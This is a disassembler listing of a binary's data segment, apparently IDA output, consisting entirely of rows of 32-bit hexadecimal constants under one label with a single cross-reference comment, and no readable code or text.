		dd 76140BB8h, 0C9A8DA3Bh, 53D2CB60h, 0B2CA4E9h,	30A4E46Fh
		dd 5B1BE8D4h, 0ACC72DCCh, 0EBEB0F77h, 75DB493Ch, 0E626F990h
		dd 24C625Fh, 0D34A4216h, 0F60A21AAh, 89DC705Fh,	3049B84Ah
		dd 40AE435Bh, 4B7A8A42h, 23DDDACEh, 66A05C0h, 2435AF57h
		dd 85DEFD1h, 0BC14743Ah, 0A6FD88FDh, 64579223h,	0CF22FFAAh
		dd 98946156h, 5066592Eh, 717AAD08h, 6BBA6F47h, 0CB447CFAh
		dd 230A646Ah, 29BA7204h, 78A50554h, 6C28811Ah, 7431712Fh
		dd 71096BEAh, 893022DEh, 0B29A7CBDh, 0C67DD4FAh, 2272AE41h
		dd 1021FDB4h, 4A451362h, 4D1257F0h, 0C7E2FCD9h,	0C8103D99h
		dd 2004C4A2h, 5112BE74h
		dd 0EC024164h, 636B6968h, 5188BF40h, 8EC61CC8h,	0DE391334h
		dd 29659B09h, 106F654Eh, 61C0A1EDh, 2D66E800h, 0F570129Fh
		dd 7CCCE82Bh, 0A472BA97h, 0BFD17CE1h, 0DA2A5659h, 1244111Dh
		dd 7CD2EA12h, 0F786BC8Ch, 8F476C31h, 0A1F6D0EBh, 0F04516Ah
		dd 0A2B320ACh, 56F0893Ah, 0FCFE1508h, 96B0824h,	9576016Ch
		dd 0E6225D69h, 0A945CCD1h, 9D7A423Fh, 29695851h, 7B34F567h
		dd 0F872597h, 235C1572h, 0C84B0EEBh, 20D97EBCh,	3B6D8C98h
		dd 8810B8C7h, 0C6E408Bh, 5F0EBABEh, 0B0C578E4h,	38FE5650h
		dd 0D68AF0DCh, 0CCD6B2FFh, 24E0BEC1h, 9085EC88h, 92619DBCh
		dd 0A1DC53BDh, 884EF69Ah, 94C65A20h, 0D0A46CB5h, 0CC418E91h
		dd 1D32B38Dh, 9A549156h, 160E648Bh, 8CD9BE38h, 0ED1177AFh
		dd 7E6DE968h, 5F4D8538h, 14829ED0h, 12833953h, 982C0A75h
		dd 5CBB70F1h, 0BCC53D10h, 0E83D02EDh, 2D3CBB5h,	2AB01022h
		dd 1B9F36EAh, 7E801A13h, 17123E2Ch, 0C3D8587Ch,	0DC1348EBh
		dd 446214A7h, 0FC242B8Ah, 13B5468Bh, 0CF65B0FFh, 0B008DE62h
		dd 25E8FC09h, 8159C895h, 2862E7EAh, 0D1032211h,	4AE6931Ah
		dd 0D802E08Ch, 0ECC4E59Ch, 69E32408h, 0B6B44BF6h, 12BA4902h
		dd 0B6E8EED8h, 74CAFAC5h, 0F81124BBh, 1CB624FFh, 0E3F87449h
		dd 4B421B7Eh, 9535681Dh, 0B951C4C8h, 0E0A657A1h, 0C7F8E8ECh
		dd 55726996h, 2CD41FB1h, 410B26Bh, 0FF2C045Bh, 977A665Dh
		dd 85127559h, 2549BB10h, 310FF53h, 0CA4C6BE8h, 97EBA766h
		dd 27EE900Fh, 0B2E0CEF0h, 62BC9D03h, 57586A98h,	121E1F4h
		dd 25875708h, 0A2CACFC6h, 0E84181B5h, 35781BD0h, 0F00861DFh
		dd 0C9724263h, 75623074h, 72625FD0h, 7C4B1A12h,	0F6304925h
		dd 89386872h, 484C43F0h, 6B5F0CFDh, 74468F29h, 0CC64E297h
		dd 0B01C9A4Ah, 2548B1AAh, 76F1C9F8h, 216C913Fh,	2906919Ch
		dd 6A0C1253h, 5DA31E11h, 8AC3FC3h, 18FFD28Bh, 0E48F6FF2h
		dd 446308D8h, 7B0D7D05h, 0C88B18E2h, 0E9846291h, 0C3BCFF39h
		dd 2399C0E2h, 32DE0D10h, 0E6080ABFh, 2855D842h,	118873E1h
		dd 8959C5F4h, 50592E4h,	852C5C16h, 0B6FF38C5h, 0E0BD4E84h
		dd 0C29A0826h, 60668D5Fh, 0C2ACCEA1h, 8B26157Ah, 0F81B0406h
		dd 0EE226471h, 0D5D516FAh, 0B6173226h, 0AF522502h, 6DF9BD7Ch
		dd 5883D3FEh, 0C536E218h, 6FE8842Fh, 0DAACB2C5h, 3C445D6Bh
		dd 991E7A97h, 7F626C99h, 0F13E908Dh, 3044BD80h,	0ED2AAEE8h
		dd 311AC895h, 88E0C0BCh, 0BC165D38h, 0CAA57774h, 1C5A6BDh
		dd 3ACB5DF5h, 0A5610898h, 0CC688516h, 0B9D19264h, 0CC2D9654h
		dd 2168294h, 879D88B4h,	50EAC657h, 83E85D02h, 0C5DFF4C7h
		dd 841D1330h, 648E1380h, 0A8966859h, 2797C443h,	4A18C887h
		dd 348B6673h, 0C96F3285h, 917F7128h
dword_747474	dd 234D341Ah, 0C59D2597h, 0E405AC4Dh, 14E2CAEAh, 88987C68h
					; DATA XREF: seg001:off_42CAECo
		dd 5B1EF421h, 0D664EBE8h, 43F498E8h, 5A96D110h,	0B9C4B795h
		dd 14E79EFFh, 116F2868h, 7CEC26B2h, 0C3A1D085h,	0F84C2187h
		dd 0CF9E85Ah, 5741870Ch, 4BC339E8h, 9050F289h, 7AE8B75Dh
		dd 2C43181Ch, 0A45FE8D3h, 0CAA82ABh, 0BEFF3301h, 9D95227Bh
		dd 0C7928476h, 316AF6B1h, 3BC933D5h, 0B7B89635h, 74103904h
		dd 0D35CEB09h, 7201F9C3h, 0FC0B4AF0h, 0D7953EE4h, 4F02222Dh
		dd 846DB256h, 3EB8C579h, 23A57E3h, 92D44D50h, 53274FB6h
		dd 74852DD3h, 3425572Ch, 0BDA571BCh, 605F34E5h,	5FA61624h
		dd 36487485h, 0E59D2B3Eh, 824B956Dh, 35684447h,	0B195146h
		dd 0AD44532Bh, 0FCFC2263h, 53C3C4A0h, 0B02D0181h, 57B3413Fh
		dd 2E6D4C68h, 0E6D5530Fh, 901FAC35h, 2DA6985Fh,	9118FB3Bh
		dd 33D03C68h, 28D63CBAh, 0A3360820h, 431B8984h,	0CCFC1010h
		dd 0E09121DCh, 226CF084h, 0CDC310Ch, 21CB43BCh,	88E891C4h
		dd 225865B4h, 3819A827h, 0A9905B48h, 7418940Dh,	27185486h
		dd 7D1D5139h, 781B86F7h, 7D0F8274h, 0E0103C0Ch,	0C344084h
		dd 72C4184h, 10248661h,	1CC35C83h, 0E1571041h, 94109014h
		dd 4D200C88h, 0CDBE04F0h, 5C70A01h, 303BCD98h, 6C5C6895h
		dd 2CC5E5A6h, 270B10A3h, 30BE8A1Ch, 15EBD004h, 0A31A67A3h
		dd 2D16299Ch, 34925045h, 222935A8h, 4010A627h, 34538C6Ch
		dd 0BFAC76B2h, 0E8212843h, 0D18AABEh, 8218046h,	84278894h
		dd 0AC226BF4h, 0D57E431h, 31D4C4C8h, 26CD2Ch, 0C23A3421h
		dd 0E8424120h, 8808177h, 0CD888031h, 0AC022989h, 10211084h
		dd 68004842h, 2A3C3D10h, 1715F011h, 0C8D00BEBh,	28A064A4h
		dd 0FB6B48C4h, 8AC4CCD0h, 6BB44401h, 7EA4A462h,	94D53748h
		dd 98AB0D5Dh, 21DC8010h, 0D70AABEh, 90CBF821h, 3954C964h
		dd 0B80848B2h, 94244084h, 47B89293h, 88CBF811h,	0AA87954h
		dd 9084502Bh, 77C0CA38h, 9C322044h, 0E2C05D99h,	0D772722Fh
		dd 1145979Ch, 9121DC10h, 6AF084D0h, 0AFB1D422h,	0DC0D52E0h
		dd 3C0CD031h, 0BC4327A4h, 0E8A24026h, 27F0940Dh, 0A0658C88h
		dd 10D08672h, 859BCBE0h, 1123D41Eh, 0E73CC8DCh,	0F0C58840h
		dd 1DA0F372h, 946A7C09h, 4FD86A85h, 0DAC79B0h, 8A70281Ch
		dd 0BB50B094h, 39A46411h, 991934A2h, 0B8310DC8h, 0CD1C0D11h
		dd 46862C0Ch, 93182124h, 248974E4h, 17CADD27h, 0C2E7CA0Dh
		dd 201169F4h, 0A8E43448h, 0ACCBB80Dh, 3AC842F4h, 8349C44Ch
		dd 8F91C649h, 0E4881124h, 0CF881CE7h, 20C2CBE8h, 0CBB830CDh
		dd 32B46485h, 94C13AB0h, 0D86810A8h, 8E7A769h, 0CC8802A5h
		dd 32C0C569h, 0B3B1608Ch, 7C0D51B0h, 86A00CCDh,	90CC0821h
		dd 0CBE4C494h, 8C188432h, 784386CCh, 70438C76h,	64104823h
		dd 32CD58C4h, 1874195Ch, 88218650h, 10C3BACCh, 3CC8CD64h
		dd 34621864h, 86CCDC18h, 0D8232C43h, 28C82410h,	20321CC4h
		dd 280C1431h, 0C21CD43h, 219C3C91h, 7727F495h, 680FB463h
		dd 49894F8h, 808F5F0h, 0E85427A4h, 0CC43C40Dh, 488E021h
		dd 32D464CDh, 0CC8316Ch, 0A2DF9BBCh, 2184460Dh,	88F091ACh
		dd 0CD5C629Ch, 980C9019h, 8421CC43h, 0C8F9CDBDh, 566A4960h
		dd 1119F82h, 0A97C220Ch, 80C050Ch, 0F938CC42h, 908C2142h
		dd 6478C8EDh, 194832E1h, 0A9580CD5h, 0C52C93Ch,	0CBD1974h
		dd 0B124A988h, 4386640Ch, 901821A5h, 64DCC899h,	0A4D8328Dh
		dd 2832810Ch, 22797423h, 7140CD11h, 6940843Ch, 61CC44F4h
		dd 5908B481h, 89CD0880h, 6EC40251h, 230447D1h, 0C8BC916Ch
		dd 88F0E784h, 98715CC4h, 0BCC80ACCh, 8774B864h,	0CB9C2971h
		dd 5C89F470h, 0EA4031CAh, 2C183011h, 0CBC00DA8h, 29184386h
		dd 4101AA8h, 420D64CAh,	0B01167F4h, 4686E018h, 5286767Ch
		dd 0B82A41FCh, 21F4460Dh, 740492A4h, 8B7005BAh,	0A335050Dh
		dd 40C4220Ch, 26CBC002h, 71831038h, 104130C3h, 9028E16Ch
		dd 2082B010h, 0C5E4CB3Bh, 478CFC76h, 0E40421F4h, 315576C0h
		dd 68035331h, 0FFE58B88h, 90CCA2D1h, 0E21D24CCh, 68C4884Ch
		dd 1D89C22Fh, 0FA041F8Bh, 1F208A67h, 6C5F3D74h,	5CC51C64h
		dd 1B70B432h, 0DA44CEAh, 1109E690h, 1025CC70h, 0B90E1B1h
		dd 0C864CC88h, 67433C28h, 1411E58Ah, 24C86330h,	19CBEC62h
		dd 0A4C80C14h, 380CE10Dh, 0EC217DA4h, 64CF3B66h, 0CD0D22D4h
		dd 240CD019h, 0C4431AA4h, 0E87FD024h, 88C4910Dh, 225065A8h
		dd 30199027h, 45ECCB5Ch, 8A6ED6CBh, 478CC87Dh, 46683C38h
		dd 24478E78h, 8FCBD011h, 508411C4h, 0CD3061CCh,	64D4C80Ah
		dd 428428D0h, 51DE9466h, 4C31F66Ah, 4614924Ch, 12F178CCh
		dd 0C4D465D4h, 14D832DCh, 884A3C53h, 3218E42Ch,	0C7DCBB54h
		dd 94509488h, 4286E4B8h, 721088E0h, 654361DDh, 0F1E84A48h
		dd 67938008h, 78460DA2h, 4094B821h, 4580C864h, 78929C2Ch
		dd 7440528Eh, 0E819ECA2h, 65AC140Ah, 999CF2BEh,	5C0C8C74h
		dd 42BC0893h, 514A4C29h, 14EA0DF4h, 7C898043h, 644A5208h
		dd 0B114325Ch, 600C4CB1h, 0DC82E96h, 0F274A496h, 0C46C0D48h
		dd 45F8321Ch, 24CD1186h, 60E7F074h, 73A4C5D8h, 63C46CE8h
		dd 212BC4F8h, 0D7F891FCh, 5D84C7ACh, 0BD2DAE5Bh, 0BE92E978h
		dd 6A35900Bh, 37C877CEh, 0FF7C2C74h, 5B25E0B6h,	0C0680479h
		dd 2F28BD6Eh, 52BCD040h, 0B54E1256h, 17367C47h,	6AF232D1h
		dd 50A07064h, 0C4A42134h, 150C32A8h, 0A8A29D90h, 210EAC39h
		dd 0B7D8888Ch, 88694254h, 39B4E4B0h, 0AA419FEh,	0B85135C8h
		dd 1087BC1Ch, 5670C85Ch, 0C0880142h, 40E290EFh,	0C40A3C19h
		dd 0C87231CDh, 210ECC39h, 0AC089028h, 0D0118599h, 0C71D4C8h
		dd 0B642D40Ch, 471465A2h, 0C2DC21D8h, 0A0116DF4h, 5131C80Ah
		dd 87E41CE0h, 6CC8D810h, 30FD2356h, 0EC2147BDh,	3832C0C4h
		dd 0A2C99015h, 0EF439F0h, 490A421h, 118595ACh, 71FCC8F8h
		dd 42D00C8Ch, 3261A2B5h, 2689C694h, 753911AAh, 156BD23Bh
		dd 34432DB4h, 50311423h, 177B15A3h, 4E28F74Ah, 39251A8h
		dd 74FE3BF1h, 2D1DFBBCh, 76DAC6DDh, 71F54086h, 8A385080h
		dd 5753056Ch, 0BF5DE2E8h, 55595FD2h, 94A6F3E3h,	14200C63h
		dd 70FB85BBh, 0C72B4146h, 89F8504Ah, 61CE6210h,	0C38B1036h
		dd 155C1EA7h, 45A2E88Ch, 3423D850h, 7884D018h, 2590620Ch
		dd 8B8FC603h, 4A70B72Bh, 71A0A9CBh, 8B300651h, 642024F7h
		dd 255979BCh, 65F45BC6h, 0D088B0C9h, 7A568907h,	0D4B85A24h
		dd 0AF46F82Dh, 8BDD4B54h, 2F025AB5h, 4266BB42h,	0D85B012Ch
		dd 40057D0Fh, 73EBFFC8h, 89C91433h, 0C04F28B5h,	148A16B6h
		dd 0FA803103h, 0A05740Ah, 4750D0Ah, 0F03E91h, 7CC83B41h
		dd 57D233EAh, 8D2A3BC1h, 4F8934BDh, 0DD833C80h,	7CB31975h
		dd 8DDB06B5h, 74090A4Ch, 7DFB810Eh, 0B7D5720h, 43000F89h
		dd 4204C783h, 787CD03Bh, 0E00CFCDCh, 17742B5Fh,	948B2180h
		dd 2585CB50h, 287D1EB5h, 973EA4EDh, 649FAB72h, 0B9142806h
		dd 0F345A040h, 788D28ABh, 5C7CE485h, 0DF30461Fh, 48A103Bh
		dd 0FEC7065Eh, 46590F08h, 18E04CEFh, 4B811C89h,	7EF73B05h
		dd 0EA095BE5h, 80A6DDC3h, 4C203A04h, 613C07D0h,	510B7C59h
		dd 81077F7Ah, 0E883C028h, 0A21C360h, 0C3DC87Eh,	41251044h
		dd 3DF33BBAh, 914A7B7Bh, 0ACDCA54Eh, 0D4173F9Ah, 0F48505ECh
		dd 5526FBEFh, 0E8ECE72Bh
		dd 4779976Eh, 8B4E1402h, 7E9D40FEh, 0D0CC927Ah,	0EA197F9Eh
		dd 91D859CFh, 720081Eh,	0C92BDB45h, 88DFEE8Ch, 1F10A08Ch
		dd 0BA447227h, 8455F47Fh, 0CA8D404Fh, 3290CE2Bh, 0B027E3Ch
		dd 0FEF803C1h, 2C3339F6h, 48428D95h, 1B9D214Dh,	700F19D0h
		dd 0EAF85589h, 64334D8Eh, 0C152004Dh, 4E4FB075h, 0BBA386EBh
		dd 0D72705A3h, 97F2F003h, 569212E7h, 0B3027C8Dh, 20D7656Ah
		dd 0BF507616h, 90E17FE6h, 46641210h, 801F50B4h,	0F980088Ah
		dd 57F311Fh, 2E75090Ah,	0FAF122B0h, 7148E020h, 1419A38Dh
		dd 1D0C72D0h, 0EB742E08h, 0E67C2105h, 50562F20h, 0CE0827BEh
		dd 6816BD64h, 64BA6EDCh, 142881A0h, 981808B8h, 8A5E515Dh
		dd 0ACC0CBB2h, 5F87E6DFh, 0EFC8F52Ah, 0E4AD194Eh, 0F41C5B7Eh
		dd 9584BCDFh, 0B4B848C9h, 12B90C13h, 41B5E24Fh,	550892CFh
		dd 0BFE746FEh, 87A8B1F0h, 38A3E815h, 74EE3BA8h,	40C8644Ch
		dd 0BFA410B7h, 0F8060469h, 43C8518Dh, 1CB789A4h, 320F1C1Fh
		dd 4B89C455h, 7C080ADFh, 1108E624h, 0A4DAB8B2h,	0F2A9C8DCh
		dd 0CA3AA555h, 0C90F04A9h, 800D3A39h, 3A0266C0h, 0DA382D58h
		dd 1C0B14CFh, 0C8265601h, 0FEE408F3h, 6E667649h, 4C99F8CAh
		dd 0CD539468h, 0D97327DCh, 6D412D86h, 358B4103h, 2548545Ch
		dd 0F362BF30h, 424AFED6h, 0BC7E4C74h, 1E2DD325h, 0D0F332F0h
		dd 1DB30529h, 1CAA7912h, 0A7F36FEh, 34A102EEh, 2E4B3E40h
		dd 6525D6D6h, 94363916h, 9AF3CCE9h, 88EC7760h, 6F086813h
		dd 5262F6F0h, 707CEA9Ch, 6A04C505h, 0CCD94806h,	0B48EF627h
		dd 64C66108h, 5EB20407h, 7A5A3027h, 980F7425h, 900775FBh
		dd 131E37AEh, 0AD5D6273h, 9C45F3C4h, 84661D26h,	128CCAE0h
		dd 0FDA00EC4h, 0D1786806h, 0BE278A90h, 823DECB0h, 3A86D514h
		dd 79970802h, 6FC0E92Eh, 864B0FFEh, 0A470CCE8h,	44505222h
		dd 3D346815h, 58AD8123h, 0C919860Dh, 9741EB28h,	520E5959h
		dd 8D475486h, 0A3A31097h, 0C66FC837h, 0A8191844h, 0BA1D575Fh
		dd 0D5C34554h, 4BFF97Dh, 0FCA46852h, 0C7564050h, 0CB9FB445h
		dd 970E5EC1h, 0E9660501h, 0E915270Bh, 0E72A5044h, 0DC506B94h
		dd 837C5232h, 93121294h, 2ED9C3ECh, 47244ADCh, 621C88BBh
		dd 0B1D7AFC6h, 946B9C60h, 90B02945h, 0AF92D86Eh, 0F4A8C423h
		dd 40080B91h, 0A479DC3Dh, 0AE22FF27h, 0FB9FD422h, 60B8055Bh
		dd 0CA5BD118h, 4FB05B5h, 605C13Ah, 0BB990BEh, 0E7A0BD8Dh
		dd 0A8919A74h, 14CEE94Ah, 0D718468h, 0E554E8A4h, 0CECFB12Eh
		dd 6B9F1A92h, 38637609h, 84E7A04Ch, 3FB59F23h, 44C4857Eh
		dd 4018B809h, 8593AF7Ah, 4A84D09h, 2792B843h, 51F469E8h
		dd 0CFF41CBDh, 0F1F728C7h, 729AE2A2h, 529ABE34h, 26FC045Bh
		dd 0F9119B2h, 7EFD335Ch, 250C2CF5h, 0E75950C3h,	0D100CC2h
		dd 41A6A7BCh, 74C98500h, 9BD1FF02h, 0E2881A7Eh,	0B50E55Fh
		dd 477033F8h, 0F8DEDA9Ah, 97F1F6A7h, 8B8B9015h,	0CF0C2BC8h
		dd 4D97840Fh, 32E93C83h, 98754F9h, 23743348h, 17AA6E0Ah
		dd 0FF78CFA2h, 874C6801h, 3F108722h, 0EB0C80AEh, 0DD186847h
		dd 0F932D321h, 0F6242A0Ch, 2D1011D3h, 9D547CDEh, 3B241020h
		dd 0D8B6DFF7h, 625652D4h, 74C73B0Eh, 68B5EB60h,	68D086D8h
		dd 0F594984Fh, 2132B1ADh, 628D200Eh, 0E0522FCh,	0D74A842Ch
		dd 2C16F19Dh, 9868C6A8h, 0CCEB0565h, 0C1763E39h, 65045EF3h
		dd 13579B2h, 18C38347h,	0B02A3E3Bh, 649DD23Bh, 37144828h
		dd 8958100Bh, 4E3F92F1h, 0AE1A3144h, 1241E5CAh,	84F7326Ah
		dd 0F3B60F23h, 0CBEF0F3h, 0F20AA9CFh, 0F10B21EBh, 36ACF013h
		dd 0AD64F2D8h, 7D723894h, 4589E24Ah, 7E01FE81h,	0E5F03E1Dh
		dd 0E6E975D1h, 8DDA19F7h, 542E34h, 1C3AB70Fh, 4042C703h
		dd 5FF67549h, 23C704EBh, 5E918508h, 94840574h, 82C1030Ah
		dd 0EB5D2549h, 10E9C194h, 0DFCFD7F3h, 0D90EE8DBh, 7A33D0F7h
		dd 1022008h, 0F1B3500Bh, 0AE494415h, 843A9A39h,	2235AF46h
		dd 0B64E8CB8h, 47E14B14h, 0A8ECB2Eh, 8BDB33F0h,	1115C948h
		dd 805CC818h, 674C33Bh,	8647D83h, 0AB745D2Eh, 87C82761h
		dd 0AC5F9608h, 405DD28Ch, 1AA453D8h, 884E59B7h,	0BC67FEC0h
		dd 27148878h, 4FFDC8EFh, 187D0C6Bh, 0E1AA22D1h,	0D992E27Bh
		dd 5D370CCFh, 0BFEB6554h, 1C6ACEC8h, 0F4E1C2BDh, 64B0149Ah
		dd 1C25EC5Ah, 6DE9DCB8h, 7E1B451Dh, 390A7840h, 106DC87Dh
		dd 5DF1640Ah, 267EC01Bh, 0D761FEA6h, 0DDCEB56Ah, 75F189FDh
		dd 429AD7C4h, 521099A4h, 0C05E02ABh, 0FA9DA7Ch,	0CE8FB35Ah
		dd 0C8C48C10h, 46C42BABh, 46B56C26h, 0A9541C0Bh, 0D874FC2Dh
		dd 0C4880210h, 0E48C93B1h, 895E70CCh, 669D8CB0h, 0F5A06118h
		dd 61116A59h, 0A8CB6EFDh, 0CB97AFCAh, 77A31A77h, 0E795046Ch
		dd 75080E15h, 0B29E373Ah, 43ACC748h, 0CC0E6511h, 883CDE21h
		dd 0AA46EA08h, 28417D3Dh, 0DECC29E8h, 0D023E491h, 6884CC10h
		dd 62E87725h, 0E0110AD7h, 95A876E0h, 0A8297E47h, 9D81A3A8h
		dd 9C0EB208h, 3768DFDCh, 89E3E811h, 10B999BDh, 37F9F7A3h
		dd 9B3C5242h, 3922B9FFh, 71DA12A5h, 1226ABABh, 0C04AB8B8h
		dd 0B77D423Ch, 0A5EC4F2h, 8864AAADh, 751B1FD8h,	0CC97C443h
		dd 1A7ED4D0h, 4E9A54E8h, 5009E1FFh, 9488D4B9h, 0D4EF3524h
		dd 6BE67C8Dh, 0D8CE4DD9h, 6A55096Dh, 917C5E0Bh,	6CE85761h
		dd 304B5DA1h, 0C22BD43Eh, 0DD1DE4B7h, 0B853D65Ah, 258AD05Ch
		dd 9EB859D8h, 0AFCE554Eh, 0E8BC157Eh, 0BAB4AC3Ch, 24F27128h
		dd 0F338A1EBh, 0A9B23184h, 2430F10Ah, 99F111Bh,	0CFA73E84h
		dd 24A117E4h, 3A821653h, 189B5B58h, 0A1D67A03h,	0D282C68h
		dd 2D0F2051h, 0C4A77C5Eh, 0A500C408h, 8D163423h, 70144D58h
		dd 0C66B515Ch, 9D552835h, 75822273h, 0A9A1E809h, 0B6367594h
		dd 570BEAE1h, 58DA7912h, 5BAD0D25h, 0B8271350h,	45E1E5C6h
		dd 0C04DC6Ah, 0EB746829h, 49A8C788h, 1C96885Dh,	510857E9h
		dd 0CAAE1019h, 114B140Ch, 94491BFFh, 7ECBDD6Ah,	0C6872329h
		dd 0AAE8057Fh, 6487E88Ch, 0C335FB0Ch, 81E024FEh, 2230BBD2h
		dd 1BB84A02h, 0D6D944D2h, 5F44A7A8h, 16259F84h,	351441F8h
		dd 0E8C8DC24h, 9F840F61h, 167C75A8h, 962B75FCh,	20433A1Ch
		dd 7480E421h, 0F87D810Dh, 0FC5CF03h, 214D9D8Dh,	0EBD91803h
		dd 65FEB0FBh, 28801076h, 65405BCh, 4058740Ah, 721AC83Bh
		dd 0D70AC7F0h, 79810C88h, 0F43E0A55h, 0AA922CDCh, 821CCBD9h
		dd 74298690h, 5399176Dh, 0E8116430h, 0D6E36B9Dh, 0E834E915h
		dd 43AD402Eh, 94A468AFh, 7E1F623Eh, 0C14E1BF5h,	652AA543h
		dd 0E8FD6149h, 295232FEh, 556429C4h, 4E321A72h,	84682925h
		dd 71326423h, 531AA4F7h, 2781059h, 0B724EBD6h, 882393EAh
		dd 84B7B3C5h, 423D89B4h, 402BC543h, 0DE445ABh, 0F43D8B5Bh
		dd 0F250A283h, 0C1EC764h, 0F0178CBBh, 4FA67095h, 0FF2205ECh
		dd 982D0BD7h, 5665727Eh, 0FC3C8CB6h, 81221752h,	0ADF07CC8h
		dd 23C4FE0Dh, 0F2D72D80h, 15068025h, 172B93ECh,	0D4B3215Fh
		dd 0A6FC0156h, 8CC8CC68h, 961DEE66h, 0CFAE276Dh, 0F41233DDh
		dd 6C80C33h, 36557FCCh,	8C78C7Dh, 0CCA8A2DCh, 50F2BB5Eh
		dd 0F45BCA46h, 171B8E3h, 0BC44E1B4h, 0E849A0F3h, 83830827h
		dd 0BF85AEE9h, 8C083F24h, 9EFAB658h, 0A3E164EFh, 1633B291h
		dd 0A72CC2F8h, 9B89D408h, 83B2E27h, 640C1F7Fh, 574424Ch
		dd 1EBE768h, 83685326h
		dd 0A5DEE841h, 7CF337Ch, 2B2F80E9h, 4EA07BE5h, 4D41F8A1h
		dd 2BFF69DCh, 0C044FA3h, 25308F89h, 49516B82h, 5FF69455h
		dd 61972116h, 75088718h, 5E2274Bh, 3C428C88h, 0A1861189h
		dd 183111B1h, 0B523059Bh, 0A64A8C48h, 73AD51ECh, 0E1F85EEEh
		dd 5180BBA0h, 8B1D0160h, 5410BFF3h, 2DEF800Eh, 23093C6Ah
		dd 0C1F4C950h, 33F6F73Fh, 0C1C633F2h, 0C2F55DF5h, 80E12B6h
		dd 0F81D506Fh, 0AB6CBE0Eh, 5045E6BFh, 0C1BC97F3h, 56326AE7h
		dd 3DAADDE8h, 6CB29353h, 40836E4Ch, 22870F42h, 67836831h
		dd 0DD95FA8Bh, 2B2297FFh, 1B05201Ch, 5FE56D7h, 20C28C95h
		dd 77FF851Ah, 472D707h,	0D164DE3Bh, 0F064921Ch,	0C166F36Fh
		dd 0C016CA33h, 0C985F0FDh, 5B017758h, 0FE830572h, 6AD47350h
		dd 0B324DF4Bh, 8BD7722h, 42914710h, 37443B88h, 2BC43248h
		dd 21242622h, 1E111B62h, 0B311912h, 735A0A08h, 2080BBB1h
		dd 0D11BC62Bh, 1327C303h, 51EA74D7h, 9A242FE8h,	0F24C12FAh
		dd 5BAE4D5Ch, 0F49EA24h, 15F61094h, 93F91F8h, 0E77C83DBh
		dd 52750440h, 3C9D3739h, 22268613h, 0A16A4445h,	0F06789D7h
		dd 1015088Ah, 7F0F0242h, 29C82644h, 70EB8DECh, 0A2E002Ch
		dd 25C80975h, 605544E8h, 8945755Ah, 0A44308E4h,	7505115Bh
		dd 212CD033h, 8A2911E0h, 0DC901201h, 2C61788h, 74D44421h
		dd 0ED07DA1h, 382F750Bh, 744290F5h, 9FFBBF27h, 0F7180E32h
		dd 68359DE6h, 83074DC8h, 140EA35Bh, 20FA9314h, 0A166FCCBh
		dd 6A318FEFh, 54251F3Fh, 91FD4BB7h, 13AFA6F8h, 0A14A9472h
		dd 0C09292A5h, 0F0D594F4h, 98980D2Ah, 0D6E951F6h, 0D2FC278Eh
		dd 59E191D0h, 0D464AFF5h, 3EF859C0h, 646F169Eh,	0AB30927Eh
		dd 8AAC8004h, 6FC1C21h,	0A2DC20FEh, 0FB805954h,	363673D6h
		dd 88FC4A5Bh, 5D8AEC1Dh, 92A08469h, 27EE535Dh, 3A776992h
		dd 1C9A0889h, 2E532062h, 8C63EE92h, 5ADCF66Ah, 7A904C8h
		dd 7D4EA6A3h, 0D22299DCh, 905CF844h, 7F409866h,	0A32BE1C0h
		dd 0F82064B8h, 1147E21h, 1768606Ah, 37F81884h, 0AB54ADFh
		dd 0F9982331h, 0C5902009h, 44AF7495h, 0A2B4A850h, 0FBCD55ECh
		dd 5F21FA20h, 0A1D623F4h, 1DEA56Ah, 4BB5EB6Fh, 3C0C21E2h
		dd 7D943890h, 5D983964h, 56A524EEh, 25B52255h, 0AD5612E9h
		dd 1022D0C5h, 0B5E333D9h, 5029A14Ch, 0B29789ACh, 2087E8F2h
		dd 335B9FA7h, 7E85016h,	561239E6h, 7BF880BEh, 1ECC74C9h
		dd 0AA1FD24h, 523D6B6Eh, 682BB0DFh, 4B1C284Ah, 1DA27992h
		dd 5354CBC0h, 16231345h, 648BEA68h, 0A14A2811h,	42F6617Ah
		dd 71127401h, 8127AE4Fh, 1634E88Ah, 6826EB83h, 14257738h
		dd 1934BEECh, 1AE89498h, 0DF5734D1h, 5B720D55h,	0B3DD79E8h
		dd 0A4CFF396h, 0DBB7AE59h, 0F4688F61h, 11C84F8Ah, 1CCBA658h
		dd 0D70DB27Fh, 37C8DF4Ah, 0D8B814A8h, 4BB8BF31h, 0D0303E80h
		dd 455D61Eh, 0F6A4D35Ch, 0CC0F3F3Ah, 0F70305A3h, 41BAFE81h
		dd 0EBDF7C55h, 18C06B42h, 0A1F66953h, 0DE52572Dh, 0AE3B8A9Eh
		dd 7E860515h, 1673176Ch, 68B940AAh, 8D86BC9Ch, 0B739C086h
		dd 961BF471h, 24EA2C29h, 0C9480A60h, 0C55B128Eh, 0A3471312h
		dd 2493DAC7h, 12C668BDh, 936CBD3Ah, 111ADA2Dh, 9AFE3356h
		dd 3696109Bh, 1846188Dh, 54685450h, 0EDA74AD3h,	0C4DAA85Bh
		dd 0E4B2A584h, 0CAD5B75Eh, 2C854298h, 0AA22C681h, 0B6BFB947h
		dd 0F26E784Dh, 64245B9Fh, 1F1B092h, 0A50FA4BBh,	7AE4E43Ch
		dd 3C6794BEh, 12E03BB0h, 8D287F6Ah, 1B921283h, 0D6B8D724h
		dd 3BDF2B60h, 0E37D27DEh, 5CBC89D0h, 0FA115099h, 11F80542h
		dd 84F608F0h, 2A73F248h, 295A370h, 11A4EBACh, 90323328h
		dd 0CEA644Eh, 83AD9897h, 0A99352Eh, 3E15BE2Fh, 0FC651264h
		dd 0B858D968h, 0F0338348h, 5082888h, 9B3D5222h,	39F27C01h
		dd 3010244Ch, 0B5C2946Eh, 7C511675h, 0BE5BE00h,	0E8040218h
		dd 2C4619AEh, 8523E2CCh, 0D85E4E59h, 0CE9F02D8h, 0E40CEBBFh
		dd 1BC8758Ah, 5F16D233h, 10825539h, 895C87F8h, 0B834FCA7h
		dd 75C742FBh, 4140521Eh, 3C84FEE8h, 0CB6B68ECh,	8E4DE41h
		dd 115CA452h, 7068BD80h, 9B828B5h, 296D622Dh, 0D690FFDCh
		dd 0FAB774FCh, 4F897D5h, 0E7CC3AACh, 487D1E3Bh,	3C8AB252h
		dd 0AA19C536h, 0A6139AC8h, 76A8803Ch, 7D5B8BEAh, 76470CA8h
		dd 872562Bh, 0DA6F18E0h, 80BB8492h, 0A411BA54h,	54A6310Fh
		dd 6801FDE4h, 103263BCh, 0C14B9E18h, 6E75393Bh,	5620E681h
